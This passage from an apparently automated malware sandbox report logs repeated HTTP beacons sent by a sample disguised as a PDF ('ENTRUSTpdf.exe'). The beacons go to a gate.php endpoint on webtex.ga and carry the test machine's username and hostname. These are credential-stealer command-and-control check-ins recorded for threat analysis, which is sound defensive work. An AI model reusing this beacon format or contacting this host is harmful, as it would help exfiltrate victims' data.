Dec 3, 2020 10:03:33.953109026 CET	4678	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:33.997836113 CET	4678	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:51 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.3	49901	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:34.447921038 CET	4679	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:34.464618921 CET	4679	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:34.507785082 CET	4679	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:51 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.3	49902	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:34.942137957 CET	4680	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:34.958951950 CET	4680	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:35.009032011 CET	4681	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:52 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.3	49903	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:35.504308939 CET	4681	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:35.520961046 CET	4682	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:35.563085079 CET	4682	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:52 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.3	49904	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:36.040003061 CET	4683	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:36.061310053 CET	4683	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:36.106219053 CET	4683	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:53 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.3	49905	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:36.607418060 CET	4684	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:36.624034882 CET	4684	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:36.665095091 CET	4685	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:53 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.3	49906	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:37.095773935 CET	4686	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:37.112641096 CET	4686	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:37.155846119 CET	4686	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:54 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.3	49907	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:37.635993004 CET	4687	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:37.652589083 CET	4687	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:37.696413994 CET	4687	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:54 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.3	49908	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:38.137931108 CET	4688	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:38.154437065 CET	4688	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:38.195617914 CET	4689	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:55 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49726	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:35.243072987 CET	88	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:35.259756088 CET	88	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:35.402596951 CET	88	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:52 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.3	49909	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:38.614969969 CET	4690	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:38.631479979 CET	4690	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:38.673676014 CET	4690	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:55 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.3	49910	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:39.153875113 CET	4691	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:39.170475006 CET	4691	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:39.215094090 CET	4692	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:56 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.3	49911	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:39.682728052 CET	4692	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:39.701303005 CET	4693	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:39.788075924 CET	4693	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:56 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.3	49912	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:40.012777090 CET	4694	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:40.029597998 CET	4694	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:40.177683115 CET	4694	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:57 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.3	49913	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:40.407026052 CET	4695	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:40.423697948 CET	4695	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:40.478810072 CET	4696	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:57 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.3	49914	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:40.694808006 CET	4696	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:40.712263107 CET	4697	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:40.754847050 CET	4697	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.3	49915	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:40.969554901 CET	4698	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:40.986166000 CET	4698	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:41.031966925 CET	4698	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.3	49916	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:41.260654926 CET	4699	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:41.277364016 CET	4699	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:41.322047949 CET	4700	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.3	49917	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:41.552180052 CET	4700	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:41.568866014 CET	4701	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:41.623253107 CET	4701	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:58 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.3	49918	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:41.839242935 CET	4702	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:41.855907917 CET	4702	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:41.890985966 CET	4703	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49727	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:36.028625965 CET	89	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:36.045317888 CET	89	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:36.086844921 CET	90	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:53 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.3	49919	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:42.127760887 CET	4704	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
